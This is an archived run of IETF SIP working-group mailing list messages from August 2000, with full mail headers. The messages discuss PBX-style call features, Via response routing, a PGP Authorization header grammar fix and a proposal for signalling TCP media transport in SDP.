> > On Sun, 6 Aug 2000, Richard Shockey wrote: > > > > > At 10:41 AM 8/5/2000 -0400, Henning Schulzrinne > > wrote: > > > >It's not that I think that key(board) input > will > > go away, just that it > > > >won't be 12 buttons with numbers and */#. The > > notion that this is in any > > > >way tied to telephone service will go away. > We'll > > obviously have lots of > > > >key input. It's the web now, both forms > > (including speech input) and > > > >applets, telnet/ssh/rlogin, IM, irc and maybe > > other mechanisms. > > > > > > > >Why tie remote key(board) input to SIP or VoIP? > > If telnet (and kin) or > > > >web-based input modalities are not good enough, > > we need to discuss this, > > > >but that has nothing whatsoever to do with > VoIP. > === message truncated === __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 14:37:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17981 for ; Tue, 8 Aug 2000 14:37:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A3AD144346; Tue, 8 Aug 2000 14:37:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web122.yahoomail.com (web122.yahoomail.com [205.180.60.57]) by lists.bell-labs.com (Postfix) with SMTP id 2A24044337 for ; Tue, 8 Aug 2000 14:37:39 -0400 (EDT) Received: (qmail 15817 invoked by uid 60001); 8 Aug 2000 18:37:28 -0000 Message-ID: <20000808183728.15816.qmail@web122.yahoomail.com> Received: from [206.172.216.31] by web122.yahoomail.com; Tue, 08 Aug 2000 11:37:28 PDT Date: Tue, 8 Aug 2000 11:37:28 -0700 (PDT) From: Tom Gray Subject: RE: [SIP] The NOTIFY method To: Rohan Mahy Cc: Henry Sinnreich , Robert Sparks , sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --- Rohan Mahy wrote: > Hi, > > The philosophy of SIP call control is to create a > small number of > *primitives* that can be used to deliver a much > larger number of features. > Thanks for the reply. How would SIP, in itself, be used to deliver such features as Group Pick Up, Line Appearance , Call Back and so on? Extensions to do these would seem to be getting into the functioning of the user agent and the definition of other agent types. Tom Gray __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 15:23:41 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14708 for ; Tue, 8 Aug 2000 15:23:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 958BA4434B; Tue, 8 Aug 2000 15:23:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 271DF44337 for ; Tue, 8 Aug 2000 15:23:29 -0400 (EDT) Received: from driftwood.cisco.com (driftwood.cisco.com [171.71.157.40]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id MAA03444; Tue, 8 Aug 2000 12:23:44 -0700 (PDT) Received: from cisco.com ([171.71.159.231]) by driftwood.cisco.com (Mirapoint) with ESMTP id ABS29530; Tue, 8 Aug 2000 14:20:19 -0500 (CDT) Message-ID: <39905E74.BD1915C@cisco.com> Date: Tue, 08 Aug 2000 14:24:36 -0500 From: Hong Chen Organization: Cisco Systems X-Mailer: Mozilla 4.5 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Henry Sinnreich Cc: Tom Gray , Robert Sparks , sip@lists.bell-labs.com Subject: Re: [SIP] The NOTIFY method References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henry Sinnreich wrote: > >May I ask why SIP is being extended to include PBX > >feature handling? > > SIP phones can provide the PBX features without the (IP)PBX. Not really, like call park and group call pick up. Henry > > > Henry > > >-----Original Message----- > >From: sip-admin@lists.bell-labs.com > >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Tom Gray > >Sent: Monday, August 07, 2000 10:37 AM > >To: Robert Sparks; sip@lists.bell-labs.com > >Subject: Re: [SIP] The NOTIFY method > > > > > >May I ask why SIP is being extended to include PBX > >feature handling? Isn't this an example of creeping > >featurism which could kill a protocol? > > > >--- Robert Sparks wrote: > >> If you have not already done so, please look over > >> draft-ietf-sip-cc-transfer-00.txt (attached for > >> convenience) and comment. > >> > >> We missed the original target for completing this > >> work. If there are any issues with the draft, lets > >> work through them as soon as possible. > >> > >> Thanks! > >> RjS > >> > >> > > > > > >__________________________________________________ > >Do You Yahoo!? > >Kick off your party with Yahoo! Invites. > >http://invites.yahoo.com/ > > > > > >_______________________________________________ > >SIP mailing list > >SIP@lists.bell-labs.com > >http://lists.bell-labs.com/mailman/listinfo/sip > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 16:31:41 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26645 for ; Tue, 8 Aug 2000 16:31:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B00A34434F; Tue, 8 Aug 2000 16:31:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by lists.bell-labs.com (Postfix) with ESMTP id 3F5FA44337 for ; Tue, 8 Aug 2000 16:31:03 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id <0FYZ00701QAW42@firewall.mcit.com> for sip@lists.bell-labs.com; Tue, 8 Aug 2000 20:30:32 +0000 (GMT) Received: from pmismtp03.wcomnet.com ([166.38.62.38]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0FYZ001GBQAWRL@firewall.mcit.com>; Tue, 08 Aug 2000 20:30:32 +0000 (GMT) Received: from CONVERSION-DAEMON by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) id <0FYZ00L01Q7GT4@pmismtp03.wcomnet.com>; Tue, 08 Aug 2000 20:28:28 +0000 (GMT) Received: from pmismtp03.wcomnet.com by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYZ00L01Q75RU@pmismtp03.wcomnet.com>; Tue, 08 Aug 2000 20:28:28 +0000 (GMT) Received: from C25776A ([166.35.149.34]) by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0FYZ00L3AQ6RC1@pmismtp03.wcomnet.com>; Tue, 08 Aug 2000 20:28:04 +0000 (GMT) Date: Tue, 08 Aug 2000 15:30:05 -0500 From: Henry Sinnreich Subject: RE: [SIP] The NOTIFY method In-reply-to: <20000808183728.15816.qmail@web122.yahoomail.com> To: Tom Gray , Rohan Mahy Cc: Robert Sparks , sip@lists.bell-labs.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit How would SIP, in itself, be >used to deliver such features as Group Pick Up, Line >Appearance , Call Back and so on? Call flows posted for the SIP WG and some available at http://www.softarmor.com/sipwg/drafts/ cover such PBX functions. The central call agent makes you have the PBX network all over again, only this time over IP. With all the properties of proprietary PBX's. It would be of interest to make an inventory of advanced features published for SIP and map them to existing PBX features and finally to make a list of what PBX features make really sense for SIP. Henry >-----Original Message----- >From: Tom Gray [mailto:tom_gray_intp@yahoo.com] >Sent: Tuesday, August 08, 2000 1:37 PM >To: Rohan Mahy >Cc: Henry Sinnreich; Robert Sparks; sip@lists.bell-labs.com >Subject: RE: [SIP] The NOTIFY method > > > >--- Rohan Mahy wrote: >> Hi, >> >> The philosophy of SIP call control is to create a >> small number of >> *primitives* that can be used to deliver a much >> larger number of features. >> > >Thanks for the reply. How would SIP, in itself, be >used to deliver such features as Group Pick Up, Line >Appearance , Call Back and so on? Extensions to do >these would seem to be getting into the functioning of >the user agent and the definition of other agent >types. > >Tom Gray > > >__________________________________________________ >Do You Yahoo!? >Kick off your party with Yahoo! Invites. >http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 20:43:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA03055 for ; Tue, 8 Aug 2000 20:43:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3E78144354; Tue, 8 Aug 2000 20:42:45 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 36F5F44337 for ; Tue, 8 Aug 2000 20:42:42 -0400 (EDT) Received: from dynamicsoft.com (1Cust172.tnt8.farmingdale.ny.da.uu.net [63.14.113.172]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id UAA15568; Tue, 8 Aug 2000 20:43:55 -0400 (EDT) Message-ID: <3990AA2E.AE3A3763@dynamicsoft.com> Date: Tue, 08 Aug 2000 20:47:42 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Krishna G Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Regarding Instant Messaging Draft References: <001301c00151$38c53180$8e40000a@sasi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Krishna G wrote: > > Hi, > > In the Section 4.1 of the Instant Messaging draft ( > draft-rosenberg-impp-im-00.txt) there is some inconsistency between > the explaination text on message F4 and the actual message which > follows the text. The text is as follows: > > "The proxy receives this response, stripps off the top Via, and > forwards to the address in the next Via, user1pc.domain.com, the > result being message F4:" > > which makes sense. However in the actual message F4 we seem to be > removing the Contact instead of the top Via field. Please comment on > this. Error in the document. Its been fixed. Thanks, Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 21:02:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12539 for ; Tue, 8 Aug 2000 21:02:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3CE6A4435A; Tue, 8 Aug 2000 21:02:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 9280A44337 for ; Tue, 8 Aug 2000 21:02:12 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id SAA17796; Tue, 8 Aug 2000 18:02:29 -0700 (PDT) Received: from rmahy-home-nt (rmahy-dsl1.cisco.com [10.19.53.122]) by imop.cisco.com (Mirapoint) with ESMTP id AAC89061; Tue, 8 Aug 2000 18:02:10 -0700 (PDT) Message-Id: <4.2.0.58.20000808160948.01a6adb0@lint.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Tue, 08 Aug 2000 18:01:24 -0700 To: Tom Gray From: Rohan Mahy Subject: RE: [SIP] The NOTIFY method Cc: Henry Sinnreich , Robert Sparks , sip@lists.bell-labs.com In-Reply-To: <20000808183728.15816.qmail@web122.yahoomail.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:37 AM 8/8/00 , Tom Gray wrote: >--- Rohan Mahy wrote: > > Hi, > > > > The philosophy of SIP call control is to create a > > small number of > > *primitives* that can be used to deliver a much > > larger number of features. > > > >Thanks for the reply. How would SIP, in itself, be >used to deliver such features as Group Pick Up, Line >Appearance , Call Back and so on? Extensions to do >these would seem to be getting into the functioning of >the user agent and the definition of other agent >types. Hi, You are right that most "features" will be implemented in the UAs. They will only need to support the appropriate primitives, and have some way to invoke them in the propoer combination (probably a URI or URI-list), and code to render meaningful messages/status. Specifically, several folks on the list have commented at various times on how to do Call Park and Pickup, Conferencing, Transfer, 3rd party call control, message waiting, etc. Call queuing and forwarding are already built into the protocol. thanks, -rohan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 21:08:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA15262 for ; Tue, 8 Aug 2000 21:08:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0DACF44363; Tue, 8 Aug 2000 21:07:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id C354644337 for ; Tue, 8 Aug 2000 21:07:33 -0400 (EDT) Received: from dynamicsoft.com (1Cust172.tnt8.farmingdale.ny.da.uu.net [63.14.113.172]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id VAA15622; Tue, 8 Aug 2000 21:09:09 -0400 (EDT) Message-ID: <3990B017.B66DE7AD@dynamicsoft.com> Date: Tue, 08 Aug 2000 21:12:55 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Garret Wilson Cc: SIP List Subject: Re: [SIP] processing late INVITEs References: <003c01c000c5$a60e82a0$1bdd4240@sfmissn1.sfba.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Garret Wilson wrote: > > Everyone, > > What does a does a server do if an isomorphic SIP INVITE arrives after a > call completes? For proxies - nothing. Once the state of the transaction is erased, this will look like a brand new INVITE, and be proxied merrily on its way. As for user agent servers, the choice is yours. The INVITE state machine itself will force you to keep state around for 32 seconds. That should cover a pretty hefty fraction of very late packets. If you want to extend this timer to get those 10 9's of reliability, your choice. I'm not to worried about this problem. Worst case the phone rings again, its picked up, 200 OK is sent, no ACK ever comes, no one talks on the other side, and you hang up. My phone at home sometimes rings and no one is there. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 21:42:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02775 for ; Tue, 8 Aug 2000 21:42:21 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4460F44360; Tue, 8 Aug 2000 21:41:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id E15CC44354 for ; Tue, 8 Aug 2000 21:41:37 -0400 (EDT) Received: from dynamicsoft.com (1Cust172.tnt8.farmingdale.ny.da.uu.net [63.14.113.172]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id VAA15722; Tue, 8 Aug 2000 21:43:07 -0400 (EDT) Message-ID: <3990B80D.6462BA57@dynamicsoft.com> Date: Tue, 08 Aug 2000 21:46:53 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Henning Schulzrinne Cc: Peter Kjellerstedt , sip@lists.bell-labs.com Subject: Re: [SIP] More inconsistencies and questions References: <200008031608.SAA17359@saur.axis.se> <3989B05C.D887363A@dynamicsoft.com> <398DD8E5.3AE91EA@cs.columbia.edu> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit I still find this text confusing, since it refers to second vias and isn't really ordered according to what you would do. How about: 1. If sent-protocol indicates TCP, send the response using an existing TCP connection to the source of the original request. 2. Otherwise, if the Via header field contains a “maddr” parameter, forward the response to the address listed there, using the port indicated in “sent-by”, or port 5060 if none is present. If the address is a multicast address, the response SHOULD be sent using the TTL indicated in the “ttl” parameter, or with a TTL of 1 if that parameter is not present. 3. Otherwise, if it is a receiver-tagged field (Section 6.46.2), send the response to the address in the “received” parameter, using the port indicated in the “sent-by” value, or using port 5060 if none is present. 4. Otherwise, send the response to the address indicated by the “sent-by”, using the port indicated by "sent-by", or port 5060 if none is present. Note that the response to a UDP request is NOT sent back to the port from which the request came from. -Jonathan R. Henning Schulzrinne wrote: > > Jonathan Rosenberg wrote: > > > > > > > > > 4) In 6.47.4 (Via: User Agent and Redirect Servers): > > > > > > Is it not better to use the existing TCP connection also if > > > the address in the "sent-by" value differs from the source > > > address of the packet (i.e., the same as mentioned under the > > > third bullet)? This would effectivly result in adding a > > > new bullet after the first stating to use the existing TCP > > > connection if available (and removing that text from the > > > third bullet). > > > > I agree. > > Text reworded. Please check the August 6 edition of the spec, available > later today. > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 22:24:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA24291 for ; Tue, 8 Aug 2000 22:24:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5388244360; Tue, 8 Aug 2000 22:24:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 5533344354 for ; Tue, 8 Aug 2000 22:24:37 -0400 (EDT) Received: from dynamicsoft.com (1Cust172.tnt8.farmingdale.ny.da.uu.net [63.14.113.172]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id WAA15772; Tue, 8 Aug 2000 22:26:08 -0400 (EDT) Message-ID: <3990C222.56D42050@dynamicsoft.com> Date: Tue, 08 Aug 2000 22:29:54 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: dENIS Vandersteene Cc: sip Subject: Re: [SIP] Authorization Header in PGP References: <398AC61B.B2C5E85A@indigosw.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit Seems like it should be 1#. -Jonathan R. dENIS Vandersteene wrote: > > Hi there, > > In RFC 2543bis (July 26th) Section 15.1.2 (The Authorization Request > Header), the definition of the Authorization Header is, for PGP: > > Authorization = "Authorization" ":" "pgp" #pgp-response > [...] > > Shouldn't that be: > > Authorization = "Authorization" ":" "pgp" 1#pgp-response ? > > Thanks, > > dENIS > > -- > Denis Vandersteene > Software Engineer > Indigo Software > 50 Rue Wiertz > Brussels, 1050 – Belgium > Tel. +32 2 401 68 22 > dENIS@indigosw.com > http://www.indigosw.com > -------------------------------------------- > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 9 00:45:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA12229 for ; Wed, 9 Aug 2000 00:45:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5DB1D44363; Wed, 9 Aug 2000 00:45:01 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 615CB44354 for ; Wed, 9 Aug 2000 00:44:58 -0400 (EDT) Received: from dynamicsoft.com (1Cust172.tnt8.farmingdale.ny.da.uu.net [63.14.113.172]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA15955; Wed, 9 Aug 2000 00:46:27 -0400 (EDT) Message-ID: <3990E304.7E53EB6@dynamicsoft.com> Date: Wed, 09 Aug 2000 00:50:12 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Yon Cc: sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000726101843.00d4a220@hither.rfdsoftware.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit This thread never reached any conclusion; there was a lot of discussion and it would be nice to come to consensus. Summary so far: 1. Seems there is consensus that we would like to be able to have a single TCP connection for bidirectional media. The case of two unidirectional tcp connections is easy and pretty much supported with the current SDP model. 2. It was proposed that the INVITE could contain a port number even if the UAC was going to open the connection to the UAS; this port would indicate the source port used in the open. This was motivated by the desire for the UAS to have a single server port, and thus distinguish incoming tcp connections from different UACs on the same machine by the source port. I have a problem with including the source port in the outgoing request. As Anders pointed out, this requires allocating a source port before a connection is setup, which is going to be impossible in certain systems. It would also be useful to allow both sides to try to connect, in the case where one is behind a firewall, the result is that one of the connection attempts will work and then that can be used. If both connect, we could define a precedence rule for dropping one. So, my proposal would be: 1. m line format stays as is 2. instead of AVP, its a new parameter which indicates TCP: AVP-TCP 3. the port number in the m line refers to the port it is listening on for connections; this may be meaningless dependending on the next thing 4. we define a new attribute, tcp, with values of: active: the port number is meaningless and the UA sending this SDP wishes to open the connection to the remote side passive: please open a connection to this port both: we should both try to open connections; the one opened to the highest remote port takes precedence if both succeed. If the ports are the same, the highest IP address. uni: we should both open tcp connections, and use both, each being unidirectional (at least for RTP, RTCP would be sent back over the same TCP connection I suppose) I don't like using port zero since this overloads the meaning of port zero defined by SIP (refusal of a stream). Comments? -Jonathan R. David Yon wrote: > > Attached is an informal discussion of various approaches to solving the > SDP/TCP problem. Any comments are welcome. If there is general agreement > I'd be happy to collaborate on or submit a formal I-D. > > With FOGLAMPS under way, and T.38 Annex D already finalized, this problem > needs to be solved as soon as possible. While this may be more of an SDP > issue than a SIP issue, this problem is directly relevant to SIP which is > why I've posted this here. If anyone has suggestions for additional and/or > more appropriate forums please let me know. > > ---- > > SIP, SDP, and TCP-based media transport > ======================================= > > The Session Description Protocol currently only describes a small set of > protocols that are used for media transport, the most common being RTP and > UDP. A significant omission in SDP is a way to specify TCP as the > transport protocol. Since SIP uses SDP to describe the media used in the > session being initiated, there is currently no way to use SIP to set up > sessions that use TCP connections for media transport. > > Annex D of the T.38 spec recommends that a protocol identifier of "TCP" be > added to SDP. While this allows SDP to describe that the media transport > will use TCP as the network protocol, it only tells half the story. The > major difference between RTP/UDP and TCP is that connection setup is > asymmetric---one side must be the initiator and the other must be the > listener. Only specifying that the network protocol is TCP omits this > important piece of information. > > The remainder of this document discusses ways that the direction of the TCP > connection setup could be conveyed in SDP. > > Specification By Inference > -------------------------- > > One approach is to leave the decision to the endpoints, and just assume > that if they can agree on a media transport that they'll implicitly know > how to correctly set up the connection. For example, a transport type of > "t38" over TCP might imply that the caller always initiates the connection > and the callee accepts the connection. > > The problem is that it doesn't scale. It requires that SIP ALP's stay > current on an ever-growing list of transport types and hard-code their > connection heuristics. > > Mapping to SIP Call Flow > ------------------------ > > Another approach is to standardize on mapping the SIP call direction to the > connection of the TCP setup. I.e., specify in the SIP RFC that the UA that > does the INVITE is the one that accepts the TCP connection from the UA that > does the OK. > > The problem with this is that it imposes an arbitrary restriction upon a > wide range of applications and topologies. The transport may involve a > legacy protocol that cares about the direction of the TCP setup, and it may > not always map to the direction of the call flow. > > The other problem is that it resolves the issue only for SIP, leaving the > problem to be solved again and again for other protocols that also use SDP. > > First-Specified/First-Served > ---------------------------- > > One could specify that the first UA to offer up an SDP message is > implicitly offering to accept the TCP connection. This maps somewhat to > how SDP works on UDP-based transports, where by specifying a port number > the UA is announcing that the port is now available to accept a media stream. > > This technique would certainly work when the topology allows the UA sending > the INVITE to accept the TCP connection. But if the topology requires that > it be the UA sending the OK, then you run into the problem of > underspecifying the session type. Most sessions signalled in SIP are > described by the SDP being sent in the INVITE. I.e., is this an audio > call? an audio/video call? a T.38 fax call? This question can be > answered by inspecting the SDP in the INVITE. Not sending this information > may deprive downstream SIP proxies of critical information required to > select the correct media gateway. > > Port Zero > --------- > > Another twist that would leave SDP syntax unchanged would be to establish > the convention that an SDP message specifying zero for the port and TCP for > a transport is the UA that will initiate the TCP connection. It would be > up to the other UA to supply a valid port that will accept this connection. > > One problem is that this limits the flexibility of the network > topology. Many TCP protocols have a well-known port at which they will > accept connections, and it may be desirable to always use that port number > for the accept (not the least of which is ease of dumb-firewall > administration). If this is the case, specifying port zero for the > initiator means that the acceptor may not have sufficient information to > correlate an incoming connection with a SIP session. > > TCP/S and TCP/C > --------------- > > The most explicit way to fully describe TCP-based transport is to add two > new SDP protocol descriptors: TCP/S and TCP/C (any better suggestions for > nomenclature?). The UA that will accept the connection specifies TCP/S > along with the port number it will be accepting on. The UA that will > initiate the connection specifies TCP/C along with the port number to which > it has bound the outgoing socket. > > This approach has numerous advantages. The SDP messages convey *exactly* > what will be 